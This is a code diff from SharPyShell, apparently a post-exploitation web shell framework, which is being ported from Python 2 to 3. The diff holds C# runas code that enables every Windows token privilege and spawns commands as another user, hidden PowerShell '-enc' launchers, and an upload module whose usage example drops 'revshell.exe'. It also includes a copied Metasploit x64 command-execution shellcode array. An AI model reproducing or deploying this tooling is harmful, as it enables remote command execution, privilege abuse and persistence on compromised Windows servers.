[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public int LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
public LUID Luid;
public UInt32 Attributes;
}
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
private static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
[DllImport("kernel32.dll", SetLastError=true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr tokenhandle, bool disableprivs, [MarshalAs(UnmanagedType.Struct)]ref TOKEN_PRIVILEGES Newstate, int bufferlength, int PreivousState, int Returnlength);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern int LookupPrivilegeValue(string lpsystemname, string lpname, [MarshalAs(UnmanagedType.Struct)] ref LUID lpLuid);
private sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
{
private SafeTokenHandle()
: base(true)
@@ -73,75 +167,72 @@ class Runas(Module):
return CloseHandle(handle);
}
}
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
private string EnablePrivilege(string privilege, IntPtr token){
string output = "";
LUID serLuid = new LUID();
LUID sebLuid = new LUID();
TOKEN_PRIVILEGES tokenp = new TOKEN_PRIVILEGES();
tokenp.PrivilegeCount = 1;
LookupPrivilegeValue(null, privilege, ref sebLuid);
tokenp.Luid = sebLuid;
tokenp.Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)){
output += error_string + "\nAdjustTokenPrivileges on privilege " + privilege + " failed with error code: " + Marshal.GetLastWin32Error();
}
output += "\nAdjustTokenPrivileges on privilege " + privilege + " succeeded";
return output;
}
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
private string EnableAllPrivileges(IntPtr token)
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
string output="";
output += EnablePrivilege("SeAssignPrimaryTokenPrivilege", token);
output += EnablePrivilege("SeAuditPrivilege", token);
output += EnablePrivilege("SeBackupPrivilege", token);
output += EnablePrivilege("SeChangeNotifyPrivilege", token);
output += EnablePrivilege("SeCreateGlobalPrivilege", token);
output += EnablePrivilege("SeCreatePagefilePrivilege", token);
output += EnablePrivilege("SeCreatePermanentPrivilege", token);
output += EnablePrivilege("SeCreateSymbolicLinkPrivilege", token);
output += EnablePrivilege("SeCreateTokenPrivilege", token);
output += EnablePrivilege("SeDebugPrivilege", token);
output += EnablePrivilege("SeDelegateSessionUserImpersonatePrivilege", token);
output += EnablePrivilege("SeEnableDelegationPrivilege", token);
output += EnablePrivilege("SeImpersonatePrivilege", token);
output += EnablePrivilege("SeIncreaseBasePriorityPrivilege", token);
output += EnablePrivilege("SeIncreaseQuotaPrivilege", token);
output += EnablePrivilege("SeIncreaseWorkingSetPrivilege", token);
output += EnablePrivilege("SeLoadDriverPrivilege", token);
output += EnablePrivilege("SeLockMemoryPrivilege", token);
output += EnablePrivilege("SeMachineAccountPrivilege", token);
output += EnablePrivilege("SeManageVolumePrivilege", token);
output += EnablePrivilege("SeProfileSingleProcessPrivilege", token);
output += EnablePrivilege("SeRelabelPrivilege", token);
output += EnablePrivilege("SeRemoteShutdownPrivilege", token);
output += EnablePrivilege("SeRestorePrivilege", token);
output += EnablePrivilege("SeSecurityPrivilege", token);
output += EnablePrivilege("SeShutdownPrivilege", token);
output += EnablePrivilege("SeSyncAgentPrivilege", token);
output += EnablePrivilege("SeSystemEnvironmentPrivilege", token);
output += EnablePrivilege("SeSystemProfilePrivilege", token);
output += EnablePrivilege("SeSystemtimePrivilege", token);
output += EnablePrivilege("SeTakeOwnershipPrivilege", token);
output += EnablePrivilege("SeTcbPrivilege", token);
output += EnablePrivilege("SeTimeZonePrivilege", token);
output += EnablePrivilege("SeTrustedCredManAccessPrivilege", token);
output += EnablePrivilege("SeUndockPrivilege", token);
output += EnablePrivilege("SeUnsolicitedInputPrivilege", token);
return output;
}
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
const uint WAIT_ABANDONED = 0x00000080;
const uint WAIT_OBJECT_0 = 0x00000000;
const uint WAIT_TIMEOUT = 0x00000102;
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
public string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
private string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
{
SafeTokenHandle safeTokenHandle;
string output = "";
string error_string = "{{{SharPyShellError}}}";
try
{
const int LOGON32_PROVIDER_DEFAULT = 0;
const int LOGON32_PROVIDER_WINNT35 = 1;
const int LOGON32_PROVIDER_WINNT40 = 2;
const int LOGON32_PROVIDER_WINNT50 = 3;
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
if (false == returnValue)
{
@@ -150,67 +241,66 @@ class Runas(Module):
}
using (safeTokenHandle)
{
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
IntPtr runasToken = safeTokenHandle.DangerousGetHandle();
EnableAllPrivileges(runasToken);
string commandLinePath = "";
if(process_ms_timeout>0){
File.Create(stdout_file).Dispose();
File.Create(stderr_file).Dispose();
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file;
}
else{
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
}
using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(runasToken))
{
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
{
IntPtr Token = new IntPtr(0);
IntPtr DupedToken = new IntPtr(0);
bool ret;
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.bInheritHandle = false;
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = (IntPtr)0;
Token = WindowsIdentity.GetCurrent().Token;
const uint GENERIC_ALL = 0x10000000;
const int SecurityImpersonation = 2;
const int TokenType = 1;
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
if (ret == false){
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
return output;
}
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "";
string commandLinePath = "";
IntPtr Token = new IntPtr(0);
IntPtr DupedToken = new IntPtr(0);
bool ret;
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.bInheritHandle = false;
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = (IntPtr)0;
Token = WindowsIdentity.GetCurrent().Token;
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
if (ret == false){
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
return output;
}
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "";
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
if (ret == false){
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
return output;
}
else{
if(process_ms_timeout>0){
File.Create(stdout_file).Dispose();
File.Create(stderr_file).Dispose();
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file;
}
else{
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
}
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
if (ret == false){
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
return output;
}
else{
if(process_ms_timeout>0){
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
if(wait_for == WAIT_OBJECT_0){
output += File.ReadAllText(stdout_file);
string errors = File.ReadAllText(stderr_file);
if (!String.IsNullOrEmpty(errors))
output += error_string + "\n" + errors;
}
else{
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
}
File.Delete(stdout_file);
File.Delete(stderr_file);
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
if(wait_for == WAIT_OBJECT_0){
output += File.ReadAllText(stdout_file);
string errors = File.ReadAllText(stderr_file);
if (!String.IsNullOrEmpty(errors))
output += error_string + "\n" + errors;
}
else{
output += "\nAsync process with pid " + pi.dwProcessId + " created";
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
File.Delete(stdout_file);
File.Delete(stderr_file);
}
CloseHandle(DupedToken);
else{
output += "\nAsync process with pid " + pi.dwProcessId + " created";
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
CloseHandle(DupedToken);
}
}
}
@@ -245,6 +335,8 @@ class Runas(Module):
domain = args_parser.get(3, self.__default_domain)
process_ms_timeout = args_parser.get(4, self.__default_process_ms_timeout)
logon_type = args_parser.get(5, self.__default_logon_type)
if process_ms_timeout == '' or logon_type == '':
raise self._exception_class('#runas: process_ms_timeout and logon_type field cannot be empty.\n')
return cmd, username, password, domain,process_ms_timeout, logon_type
def _create_request(self, args):
+2 -2
View File
@@ -53,7 +53,7 @@ class Runas_ps(Runas):
def __gen_powershell_launcher(self, ps_code):
powershell_launcher='powershell -nop -noni -enc '
ps_code = '$ProgressPreference = "SilentlyContinue";' + ps_code
powershell_launcher += b64encode(ps_code.encode('UTF-16LE'))
powershell_launcher += str(b64encode(ps_code.encode('UTF-16LE')),'UTF-8')
return powershell_launcher
def _create_request(self, args):
@@ -65,4 +65,4 @@ class Runas_ps(Runas):
stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
return self._runtime_code % (username, password, domain, cmd, stdout_file, stderr_file,
working_path, logon_type, process_ms_timeout)
working_path, logon_type, process_ms_timeout)
+5 -5
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@@ -35,7 +35,7 @@ class Upload(Module):
#upload /tmp/revshell.exe C:\Users\Public\revshell.exe 1024
"""
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell{
byte[] Upload(string path, byte[] file_bytes){
@@ -56,7 +56,7 @@ class Upload(Module):
}
"""
__runtime_code_split_file = ur"""
__runtime_code_split_file = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell{
byte[] Upload(string path, byte[] file_bytes){
@@ -80,7 +80,7 @@ class Upload(Module):
}
"""
__runtime_code_init_file = ur"""
__runtime_code_init_file = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell{
string InitFile(string path){
@@ -164,8 +164,8 @@ class Upload(Module):
decrypted_response = self._decrypt_response(encrypted_response)
parsed_response = self._parse_response(decrypted_response)
if len(requests) > 1:
print 'Chunk ' + str(i + 1) + ' --> ' + str(chunk_size*i) + ' - ' + str(chunk_size*i+chunk_size) +\
' bytes written correctly to ' + upload_output_path
print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size*i) + ' - ' + str(chunk_size*i+chunk_size) +\
' bytes written correctly to ' + upload_output_path)
except ModuleException as module_exc:
parsed_response = str(module_exc)
except Exception:
+5 -4
View File
@@ -1,5 +1,6 @@
urllib3
urllib3[socks]
prettytable
Crypto
pyopenssl
PySocks
pycryptodome
pyopenssl
pefile
prettytable
+2 -2
View File
@@ -3,5 +3,5 @@ class Singleton(object):
def __new__(cls, *args, **kwargs):
if cls not in cls._instances:
cls._instances[cls] = super(Singleton, cls).__new__(cls, *args, **kwargs)
return cls._instances[cls]
cls._instances[cls] = super(Singleton, cls).__new__(cls)
return cls._instances[cls]
+14
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@@ -0,0 +1,14 @@
import io
import gzip
import base64
def get_compressed_base64_from_file(path):
with open(path, 'rb') as f:
read_data = f.read()
return base64.b64encode(gzip.compress(read_data)).decode()
def get_compressed_base64_from_binary(bin_bytearray_input):
return base64.b64encode(gzip.compress(bin_bytearray_input)).decode()
+4 -4
View File
@@ -16,19 +16,19 @@ def tablify(data, table_border=True):
table = prettytable.PrettyTable()
# List outputs.
if isinstance(data, (types.ListType, types.TupleType)):
if isinstance(data, (list, tuple)):
if len(data) > 0:
columns_num = 1
if isinstance(data[0], (types.ListType, types.TupleType)):
if isinstance(data[0], (list, tuple)):
columns_num = len(data[0])
for row in data:
if not row:
continue
if isinstance(row, (types.ListType, types.TupleType)):
if isinstance(row, (list, tuple)):
table.add_row(row)
else:
table.add_row([row])
@@ -38,7 +38,7 @@ def tablify(data, table_border=True):
# Populate the rows
randomitem = next(data.itervalues())
if isinstance(randomitem, (types.ListType, types.TupleType)):
if isinstance(randomitem, (list, tuple)):
for field in data:
table.add_row([field] + data[field])
else:
+33
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@@ -0,0 +1,33 @@
'''
https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/exec.rb
'Name' => 'Windows x64 Execute Command',
'Description' => 'Execute an arbitrary command (Windows x64)',
'Author' => [ 'sf' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Payload' =>
'''
winexec_x64 = b""
winexec_x64 += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
winexec_x64 += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
winexec_x64 += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
winexec_x64 += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
winexec_x64 += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
winexec_x64 += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
winexec_x64 += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
winexec_x64 += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
winexec_x64 += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
winexec_x64 += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
winexec_x64 += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
winexec_x64 += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
winexec_x64 += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
winexec_x64 += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
winexec_x64 += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
winexec_x64 += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
winexec_x64 += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
winexec_x64 += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
winexec_x64 += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
winexec_x64 += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
winexec_x64 += b"\x00\x59\x41\x89\xda\xff\xd5"